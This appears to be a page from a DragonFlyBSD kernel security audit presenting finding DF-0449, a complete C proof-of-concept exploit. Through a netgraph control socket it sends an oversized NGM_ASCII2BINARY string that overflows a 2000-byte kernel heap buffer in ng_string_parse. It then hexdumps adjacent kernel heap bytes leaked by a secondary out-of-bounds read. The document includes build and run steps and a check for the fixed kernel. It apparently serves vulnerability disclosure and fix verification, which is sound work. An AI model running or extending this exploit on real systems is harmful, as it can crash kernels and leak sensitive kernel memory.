โฌข DragonFlyBSD Kernel Audit
DF-0449 / ng_overflow.c
โ† back to finding โ†“ download raw
/*
 * DF-0449 PoC โ€” heap buffer overflow in ng_string_parse (ng_parse.c:716)
 *
 * Trigger path (root-only, SYSCAP_RESTRICTEDROOT on ng_socket control ops):
 *   socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL)      [ng_socket.c:172]
 *   sendto(.., NGM_ASCII2BINARY msg, .., ".")        [ng_base.c:1578]
 *     -> ng_generic_msg case NGM_ASCII2BINARY         [ng_base.c:1636]
 *       -> ng_parse(ng_parse_string_type, ...)        [ng_parse.c:704]
 *         -> ng_string_parse: bcopy(sval,buf,len)     [ng_parse.c:716]
 *            len = strlen(sval)+1, NO check len <= *buflen (2000)
 *
 * Secondary OOB read (info leak): ng_base.c:1644 sets arglen to the inflated
 * len; ship_msg (ng_socket.c:737) does m_devget(msg, sizeof(ng_mesg)+arglen)
 * which reads past the 2000-byte allocation into adjacent heap -> leaked bytes
 * delivered to userspace via recvfrom().
 *
 * Build:  cc -o ng_overflow ng_overflow.c
 * Run:    ./ng_overflow    (as root, after: kldload netgraph && kldload ng_socket)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* netgraph constants (from sys/netgraph/ng_message.h, ng_socket.h, socket.h) */
#define NG_AF            32      /* AF_NETGRAPH */
#define NG_CONTROL       2
#define NG_VERSION       2
#define NGF_RESP         0x0001
#define NGM_GENERIC_COOKIE 851672668UL
#define NGM_ASCII2BINARY 13
#define NGM_TEXT_STATUS  11
#define NG_CMDSTRSIZ     32

struct ng_msghdr {
    u_char  version;
    u_char  spare;
    u_int16_t arglen;
    u_int32_t flags;
    u_int32_t token;
    u_int32_t typecookie;
    u_int32_t cmd;
    u_char  cmdstr[NG_CMDSTRSIZ];
};
struct ng_mesg {
    struct ng_msghdr header;
    char data[0];
};

struct sockaddr_ng {
    u_char  sg_len;
    u_char  sg_family;
    char    sg_data[14];
};

/* Oversized string: 2500 'A's -> decoded sval = 2500 bytes, len = 2501
 * -> bcopy writes 2501 bytes into 2000-byte binary->data => 501-byte overflow.
 * Secondary OOB read leaks ~501 bytes of adjacent heap to userspace. */
#define PAYLOAD_A_COUNT   2500

int main(void)
{
    int csock, error;
    ssize_t n;

    /* ---- build the quoted netgraph string: "AAAA...AAAA" ---- */
    int qlen = PAYLOAD_A_COUNT + 2 + 1; /* quotes + N A's + NUL */
    char *qstr = malloc(qlen);
    qstr[0] = '"';
    memset(qstr + 1, 'A', PAYLOAD_A_COUNT);
    qstr[1 + PAYLOAD_A_COUNT] = '"';
    qstr[1 + PAYLOAD_A_COUNT + 1] = '\0';
    int qstrlen = strlen(qstr);            /* PAYLOAD_A_COUNT + 2 */
    int ascii_arglen = qstrlen + 1;        /* room for forced trailing NUL */

    /* ---- build the embedded "ascii" ng_mesg (the thing parsed) ---- */
    int ascii_total = sizeof(struct ng_mesg) + ascii_arglen;
    struct ng_mesg *ascii = calloc(1, ascii_total);
    ascii->header.version    = NG_VERSION;
    ascii->header.arglen     = ascii_arglen;
    ascii->header.flags      = NGF_RESP;          /* -> respType = string_type */
    ascii->header.token      = 0x41414141;
    ascii->header.typecookie = NGM_GENERIC_COOKIE;
    ascii->header.cmd        = NGM_TEXT_STATUS;
    strncpy((char *)ascii->header.cmdstr, "textstatus", NG_CMDSTRSIZ - 1);
    memcpy(ascii->data, qstr, qstrlen);           /* trailing NUL already 0 from calloc */

    /* ---- build the outer NGM_ASCII2BINARY message ---- */
    int outer_arglen = ascii_total;
    int outer_total  = sizeof(struct ng_mesg) + outer_arglen;
    struct ng_mesg *out = calloc(1, outer_total);
    out->header.version    = NG_VERSION;
    out->header.arglen     = outer_arglen;
    out->header.flags      = 0;
    out->header.token      = 0x42424242;
    out->header.typecookie = NGM_GENERIC_COOKIE;
    out->header.cmd        = NGM_ASCII2BINARY;
    strncpy((char *)out->header.cmdstr, "ascii2binary", NG_CMDSTRSIZ - 1);
    memcpy(out->data, ascii, ascii_total);

    free(qstr);
    free(ascii);

    /* ---- open control socket (requires root) ---- */
    csock = socket(NG_AF, SOCK_DGRAM, NG_CONTROL);
    if (csock < 0) {
        fprintf(stderr, "socket(AF_NETGRAPH,NG_CONTROL): %s (need root + "
                "kldload netgraph ng_socket)\n", strerror(errno));
        return 2;
    }
    fprintf(stderr, "[*] control socket fd=%d opened\n", csock);

    /* ---- sendto own node (path ".") ---- */
    struct sockaddr_ng dst;
    memset(&dst, 0, sizeof(dst));
    dst.sg_len    = 3;            /* 2 hdr + 1 char */
    dst.sg_family = NG_AF;
    dst.sg_data[0] = '.';
    dst.sg_data[1] = '\0';

    fprintf(stderr, "[*] sending NGM_ASCII2BINARY: string=%d A's, "
            "bufSize(buflen)=2000, expected overflow=%d bytes\n",
            PAYLOAD_A_COUNT, PAYLOAD_A_COUNT + 1 - 2000);

    n = sendto(csock, out, outer_total, 0, (struct sockaddr *)&dst, dst.sg_len);
    error = errno;
    free(out);
    if (n < 0) {
        fprintf(stderr, "[!] sendto failed: %s\n", strerror(error));
        if (error == ERANGE) {
            /* The fix in ng_string_parse returns ERANGE when len > *buflen.
             * This is the FIXED-kernel signature: no overflow, no response
             * queued, recvfrom will just time out -- exit cleanly here. */
            fprintf(stderr, "[+] ERANGE: the ng_string_parse bounds check "
                    "fired (FIXED kernel/module). No overflow occurred.\n");
            return 0;
        }
        if (error == ENOENT) {
            fprintf(stderr, "[!] path '.' not resolving โ€” guest may be down "
                    "(panic during overflow processing)\n");
        }
        /* fall through to try recv anyway */
    } else {
        fprintf(stderr, "[+] sendto returned %zd bytes\n", n);
    }

    /* ---- try to recv the response (the secondary OOB read) ---- */
    struct {
        struct ng_mesg hdr;
        char extra[8192];
    } respbuf;
    memset(&respbuf, 0, sizeof(respbuf));

    struct timeval tv = { 3, 0 };
    setsockopt(csock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

    n = recvfrom(csock, &respbuf, sizeof(respbuf), 0, NULL, NULL);
    error = errno;
    if (n < 0) {
        fprintf(stderr, "[!] recvfrom: %s\n", strerror(error));
        if (error == EAGAIN || error == EWOULDBLOCK)
            fprintf(stderr, "[!] timeout โ€” likely the guest panicked from "
                    "the heap corruption (check boot.log)\n");
        return 0;
    }

    fprintf(stderr, "[+] recvfrom returned %zd bytes (response)\n", n);
    int resp_arglen = respbuf.hdr.header.arglen;
    fprintf(stderr, "[*] response header.arglen = %d (alloc was 2000)\n",
            resp_arglen);
    if (resp_arglen > 2000) {
        int leaked = resp_arglen - 2000;
        fprintf(stderr, "[!!] OVERFLOW CONFIRMED: arglen=%d > 2000; "
                "secondary OOB read leaked ~%d bytes of adjacent heap\n",
                resp_arglen, leaked);
    }

    /* The binary response payload is an embedded ng_mesg; its data[] is the
     * parsed string.  Bytes beyond offset 2000 (within the binary->data) are
     * adjacent-heap bytes leaked by the OOB read.  Dump a window past 2000. */
    int total = sizeof(struct ng_mesg) + resp_arglen;
    if (total > (int)sizeof(respbuf)) total = sizeof(respbuf);
    if (total > n) total = n;

    /* binary->data starts at sizeof(ng_mesg) into the response payload */
    int bin_data_off = sizeof(struct ng_mesg);
    printf("=== LEAKED ADJACENT HEAP BYTES (binary->data[2000 .. %d]) ===\n",
            resp_arglen);
    int start = bin_data_off + 2000;
    if (start >= total) {
        printf("(response truncated before leak window)\n");
    } else {
        for (int i = start; i < total; i++) {
            unsigned char c = ((unsigned char *)&respbuf)[i];
            if (i % 16 == start % 16)
                printf("%04x: ", i - bin_data_off);
            printf("%02x ", c);
            if ((i - start) % 16 == 15) printf("\n");
        }
        printf("\n");
    }
    printf("=== full response hexdump (first 256 bytes of binary->data) ===\n");
    for (int i = bin_data_off; i < total && i < bin_data_off + 256; i++) {
        unsigned char c = ((unsigned char *)&respbuf)[i];
        if (i % 16 == bin_data_off % 16)
            printf("%04x: ", i - bin_data_off);
        printf("%02x ", c);
        if ((i - bin_data_off) % 16 == 15) printf("\n");
    }
    printf("\n");

    return 0;
}